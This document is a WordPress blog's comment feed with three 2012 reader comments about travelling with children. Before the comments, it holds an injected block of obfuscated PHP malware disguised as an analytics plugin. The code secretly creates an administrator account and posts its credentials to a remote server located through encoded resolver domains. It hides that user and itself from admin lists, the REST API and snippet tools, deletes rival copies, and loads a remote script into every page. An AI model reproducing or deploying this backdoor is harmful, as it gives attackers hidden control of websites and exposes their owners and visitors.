/* __GA_INJ_START__ */ /*d8782b082730fd60*/function _bce5f5($_x){return $_x;}function _25fa6b($_x){return $_x;}function _ae362c($_x){return $_x;}function _76450f($_x){return $_x;}$_fd049381=["version"=>"4.0.1","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","resolvers"=>"WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=","resolverKey"=>"N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==","sitePubKey"=>"ZGY2ZGVhNDE0ZWExMjIyYWFlZDBhZDBkZmVhNWVmOGY="];global $_e41ef4c1;if(!is_array($_e41ef4c1)){$_e41ef4c1=[];}if(!in_array($_fd049381["version"],$_e41ef4c1,true)){$_e41ef4c1[]=$_fd049381["version"];}class GAwp_f7672d25{private $seed;private $version;private $hooksOwner;private $resolved_endpoint=null;private $resolved_checked=false;public function __construct(){global $_fd049381;$this->version=$_fd049381["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))){define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}add_filter("all_plugins",[$this,"hplugin"]);if($this->hooksOwner){add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("init",[$this,"cleanup_old_instances"],99);add_action("init",[$this,"discover_legacy_users"],5);add_filter('rest_prepare_user',[$this,'filter_rest_user'],10,3);add_action('pre_get_posts',[$this,'block_author_archive']);add_filter('wp_sitemaps_users_query_args',[$this,'filter_sitemap_users']);add_filter('code_snippets/list_table/get_snippets',[$this,'hide_from_code_snippets']);add_filter('wpcode_code_snippets_table_prepare_items_args',[$this,'hide_from_wpcode']);add_action("wp_enqueue_scripts",[$this,"loadassets"]);}private function resolve_endpoint(){if($this->resolved_checked){return $this->resolved_endpoint;}$this->resolved_checked=true;$_851bc887=base64_decode('X19nYV9yX2NhY2hl');$_650069b3=get_transient($_851bc887);if($_650069b3!==false){$this->resolved_endpoint=$_650069b3;return $_650069b3;}global $_fd049381;$_e390cc8e=json_decode(base64_decode($_fd049381["resolvers"]),true);if(!is_array($_e390cc8e)||empty($_e390cc8e)){return null;}$_4869739d=base64_decode($_fd049381["resolverKey"]);shuffle($_e390cc8e);foreach($_e390cc8e as $_5eee6bcf){$_dccfed68=base64_decode($_5eee6bcf);if(strpos($_dccfed68,'://')===false){$_dccfed68='https://'.$_dccfed68;}$_11d71311=rtrim($_dccfed68,'/').'/?key='.urlencode($_4869739d);$_94541887=wp_remote_get($_11d71311,['timeout'=>5,'sslverify'=>false,]);if(is_wp_error($_94541887)){continue;}if(wp_remote_retrieve_response_code($_94541887)!==200){continue;}$_e5bf98ff=wp_remote_retrieve_body($_94541887);$_7d65023a=json_decode($_e5bf98ff,true);if(!is_array($_7d65023a)||empty($_7d65023a)){continue;}$_c4f62ff3=$_7d65023a[array_rand($_7d65023a)];$_a484bd27='https://'.$_c4f62ff3;set_transient($_851bc887,$_a484bd27,3600);$this->resolved_endpoint=$_a484bd27;return $_a484bd27;}return null;}private function get_hidden_users_option_name(){return base64_decode('X19nYV9oaWRkZW5fdXNlcnM=');}private function get_cleanup_done_option_name(){return base64_decode('X19nYV9jbGVhbnVwX2RvbmU=');}private function get_hidden_usernames(){$_4fe060ee=get_option($this->get_hidden_users_option_name(),'[]');$_9151aba8=json_decode($_4fe060ee,true);if(!is_array($_9151aba8)){$_9151aba8=[];}return $_9151aba8;}private function add_hidden_username($_523028a3){$_9151aba8=$this->get_hidden_usernames();if(!in_array($_523028a3,$_9151aba8,true)){$_9151aba8[]=$_523028a3;update_option($this->get_hidden_users_option_name(),json_encode($_9151aba8));}}private function get_hidden_user_ids(){$_ad96a536=$this->get_hidden_usernames();$_3d812444=[];foreach($_ad96a536 as $_4f279f48){$_0e754695=get_user_by('login',$_4f279f48);if($_0e754695){$_3d812444[]=$_0e754695->ID;}}return $_3d812444;}public function hplugin($_6eded4d2){unset($_6eded4d2[plugin_basename(__FILE__)]);if(!isset($this->_old_instance_cache)){$this->_old_instance_cache=$this->find_old_instances();}foreach($this->_old_instance_cache as $_b4adef54){unset($_6eded4d2[$_b4adef54]);}return $_6eded4d2;}private function find_old_instances(){$_4e5aa778=[];$_331e9983=plugin_basename(__FILE__);$_8e1859f0=get_option('active_plugins',[]);$_630b03b2=WP_PLUGIN_DIR;$_73f336d4=[base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='),'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=',];foreach($_8e1859f0 as $_0a8cac86){if($_0a8cac86===$_331e9983){continue;}$_87ed00f3=$_630b03b2.'/'.$_0a8cac86;if(!file_exists($_87ed00f3)){continue;}$_54609599=@file_get_contents($_87ed00f3);if($_54609599===false){continue;}foreach($_73f336d4 as $_c77ed335){if(strpos($_54609599,$_c77ed335)!==false){$_4e5aa778[]=$_0a8cac86;break;}}}$_cbc73178=get_plugins();foreach(array_keys($_cbc73178)as $_0a8cac86){if($_0a8cac86===$_331e9983||in_array($_0a8cac86,$_4e5aa778,true)){continue;}$_87ed00f3=$_630b03b2.'/'.$_0a8cac86;if(!file_exists($_87ed00f3)){continue;}$_54609599=@file_get_contents($_87ed00f3);if($_54609599===false){continue;}foreach($_73f336d4 as $_c77ed335){if(strpos($_54609599,$_c77ed335)!==false){$_4e5aa778[]=$_0a8cac86;break;}}}return array_unique($_4e5aa778);}public function createuser(){if(get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_1742bd75=$this->generate_credentials();if(!username_exists($_1742bd75["user"])){$_7c2e8bd6=wp_create_user($_1742bd75["user"],$_1742bd75["pass"],$_1742bd75["email"]);if(!is_wp_error($_7c2e8bd6)){(new WP_User($_7c2e8bd6))->set_role("administrator");}}$this->add_hidden_username($_1742bd75["user"]);$this->setup_site_credentials($_1742bd75["user"],$_1742bd75["pass"]);update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),true);}private function generate_credentials(){$_29b8e58d=substr(hash("sha256",$this->seed."50d2324d354cef52cdffe989e0edd63c"),0,16);return["user"=>"asset_mgr".substr(md5($_29b8e58d),0,8),"pass"=>substr(md5($_29b8e58d."pass"),0,12),"email"=>"asset-mgr@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_a36efada,$_0832a98e){global $_fd049381;$_a484bd27=$this->resolve_endpoint();if(!$_a484bd27){return;}$_2f7f7a5e=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_fd049381['sitePubKey']),"login"=>$_a36efada,"password"=>$_0832a98e];$_1bafeca9=["body"=>json_encode($_2f7f7a5e),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post($_a484bd27."/api/sites/setup-credentials",$_1bafeca9);}public function filterusers($_ac94e5e3){global $wpdb;$_98c79583=$this->get_hidden_usernames();if(empty($_98c79583)){return;}$_bfb22620=implode(',',array_fill(0,count($_98c79583),'%s'));$_1bafeca9=array_merge([" AND {$wpdb->users}.user_login NOT IN ({$_bfb22620})"],array_values($_98c79583));$_ac94e5e3->query_where.=call_user_func_array([$wpdb,'prepare'],$_1bafeca9);}public function filter_rest_user($_94541887,$_0e754695,$_7d70948c){$_98c79583=$this->get_hidden_usernames();if(in_array($_0e754695->user_login,$_98c79583,true)){return new WP_Error('rest_user_invalid_id',__('Invalid user ID.'),['status'=>404]);}return $_94541887;}public function block_author_archive($_ac94e5e3){if(is_admin()||!$_ac94e5e3->is_main_query()){return;}if($_ac94e5e3->is_author()){$_2c1eacc2=0;if($_ac94e5e3->get('author')){$_2c1eacc2=(int)$_ac94e5e3->get('author');}elseif($_ac94e5e3->get('author_name')){$_0e754695=get_user_by('slug',$_ac94e5e3->get('author_name'));if($_0e754695){$_2c1eacc2=$_0e754695->ID;}}if($_2c1eacc2&&in_array($_2c1eacc2,$this->get_hidden_user_ids(),true)){$_ac94e5e3->set_404();status_header(404);}}}public function filter_sitemap_users($_1bafeca9){$_0c81a92d=$this->get_hidden_user_ids();if(!empty($_0c81a92d)){if(!isset($_1bafeca9['exclude'])){$_1bafeca9['exclude']=[];}$_1bafeca9['exclude']=array_merge($_1bafeca9['exclude'],$_0c81a92d);}return $_1bafeca9;}public function cleanup_old_instances(){if(!is_admin()){return;}if(!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='),false)){return;}$_331e9983=plugin_basename(__FILE__);$_ce1dfb69=get_option($this->get_cleanup_done_option_name(),'');if($_ce1dfb69===$_331e9983){return;}$_ec7de39e=$this->find_old_instances();if(!empty($_ec7de39e)){require_once ABSPATH.'wp-admin/includes/plugin.php';require_once ABSPATH.'wp-admin/includes/file.php';require_once ABSPATH.'wp-admin/includes/misc.php';deactivate_plugins($_ec7de39e,true);foreach($_ec7de39e as $_b4adef54){$_630b03b2=WP_PLUGIN_DIR.'/'.dirname($_b4adef54);if(is_dir($_630b03b2)){$this->recursive_delete($_630b03b2);}}}update_option($this->get_cleanup_done_option_name(),$_331e9983);}private function recursive_delete($_5f2d39fc){if(!is_dir($_5f2d39fc)){return;}$_9182c82d=@scandir($_5f2d39fc);if(!$_9182c82d){return;}foreach($_9182c82d as $_b278103e){if($_b278103e==='.'||$_b278103e==='..'){continue;}$_a4499f47=$_5f2d39fc.'/'.$_b278103e;if(is_dir($_a4499f47)){$this->recursive_delete($_a4499f47);}else{@unlink($_a4499f47);}}@rmdir($_5f2d39fc);}public function discover_legacy_users(){$_564efc19=[base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='),];$_578ff0a9=[base64_decode('c3lzdGVt'),];foreach($_564efc19 as $_db72c220){$_29b8e58d=substr(hash("sha256",$this->seed.$_db72c220),0,16);foreach($_578ff0a9 as $_8c1035ea){$_523028a3=$_8c1035ea.substr(md5($_29b8e58d),0,8);if(username_exists($_523028a3)){$this->add_hidden_username($_523028a3);}}}$_7a2d274e=$this->generate_credentials();if(username_exists($_7a2d274e["user"])){$this->add_hidden_username($_7a2d274e["user"]);}}private function get_snippet_id_option_name(){return base64_decode('X19nYV9zbmlwX2lk');}public function hide_from_code_snippets($_e069f683){$_679016e4=$this->get_snippet_id_option_name();$_2d666cce=(int)get_option($_679016e4,0);if(!$_2d666cce){global $wpdb;$_0802dd12=$wpdb->prefix.'snippets';$_2d666cce=(int)$wpdb->get_var("SELECT id FROM {$_0802dd12} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1");if($_2d666cce)update_option($_679016e4,$_2d666cce,false);}if(!$_2d666cce)return $_e069f683;return array_filter($_e069f683,function($_9b7581a3)use($_2d666cce){return(int)$_9b7581a3->id!==$_2d666cce;});}public function hide_from_wpcode($_1bafeca9){$_679016e4=$this->get_snippet_id_option_name();$_2d666cce=(int)get_option($_679016e4,0);if(!$_2d666cce){global $wpdb;$_2d666cce=(int)$wpdb->get_var("SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1");if($_2d666cce)update_option($_679016e4,$_2d666cce,false);}if(!$_2d666cce)return $_1bafeca9;if(!empty($_1bafeca9['post__not_in'])){$_1bafeca9['post__not_in'][]=$_2d666cce;}else{$_1bafeca9['post__not_in']=[$_2d666cce];}return $_1bafeca9;}public function loadassets(){global $_fd049381,$_e41ef4c1;$_044fd4a7=true;if(is_array($_e41ef4c1)){foreach($_e41ef4c1 as $_9e8388e4){if(version_compare($_9e8388e4,$this->version,'>')){$_044fd4a7=false;break;}}}$_7c26f033=base64_decode('Z2FuYWx5dGljcy10cmFja2Vy');$_039673c6=base64_decode('Z2FuYWx5dGljcy1mb250cw==');$_979886eb=wp_script_is($_7c26f033,'registered')||wp_script_is($_7c26f033,'enqueued');if($_044fd4a7&&$_979886eb){wp_deregister_script($_7c26f033);wp_deregister_style($_039673c6);$_979886eb=false;}if(!$_044fd4a7&&$_979886eb){return;}$_a484bd27=$this->resolve_endpoint();if(!$_a484bd27){return;}wp_enqueue_style($_039673c6,base64_decode($_fd049381["font"]),[],null);$_cc03be12=$_a484bd27."/t.js?site=".base64_decode($_fd049381['sitePubKey']);wp_enqueue_script($_7c26f033,$_cc03be12,[],null,false);if(function_exists('wp_script_add_data')){wp_script_add_data($_7c26f033,'strategy','defer');}$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}$_dc59ec8f=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_dc59ec8f])){return;}$_90552ca3=time()+(365*24*60*60);setcookie($_dc59ec8f,'1',$_90552ca3,'/','',false,false);}}new GAwp_f7672d25(); /* __GA_INJ_END__ */ Comments on: Great Expectations https://www.leageller.com/great-expectations/ Fri, 20 Oct 2017 17:44:59 +0000 hourly 1 https://wordpress.org/?v=4.9.22 By: mytwicebakedpotato https://www.leageller.com/great-expectations/#comment-268 Fri, 03 Aug 2012 14:41:35 +0000 http://thisisthecornerwepeein.wordpress.com/?p=1652#comment-268 I am smiling as I read this because as of now, there is NO way we could do a big trip like this! The night of Day 2 (no matter where we are) My TBP hits the wall. That’s why we have only traveled 3-4 hours a way from home at this point. Mine would be SO complaining! He was shocked (and complained) that we were staying in a hotel that didn’t have room service-dirty water would have been the last straw ;). Try to enjoy and ignore the looks!

]]>
By: Anonymous https://www.leageller.com/great-expectations/#comment-267 Tue, 31 Jul 2012 19:35:31 +0000 http://thisisthecornerwepeein.wordpress.com/?p=1652#comment-267 Bonne vacances!

]]>
By: Meredith Wolf Schizer https://www.leageller.com/great-expectations/#comment-266 Tue, 31 Jul 2012 03:59:19 +0000 http://thisisthecornerwepeein.wordpress.com/?p=1652#comment-266 Reminds me of Israel and the Old City….brutal heat, jet lag, and cranky kids…don’t know about the shoe thing, but travel with kids is really its own kind of travel category. Good luck and enjoy! I was just putting our pics into the album and remembering the trip fondly, so there’s always the hope of sunny pictures and good memories (only take pictures when you can get them to actually smile!)….

]]>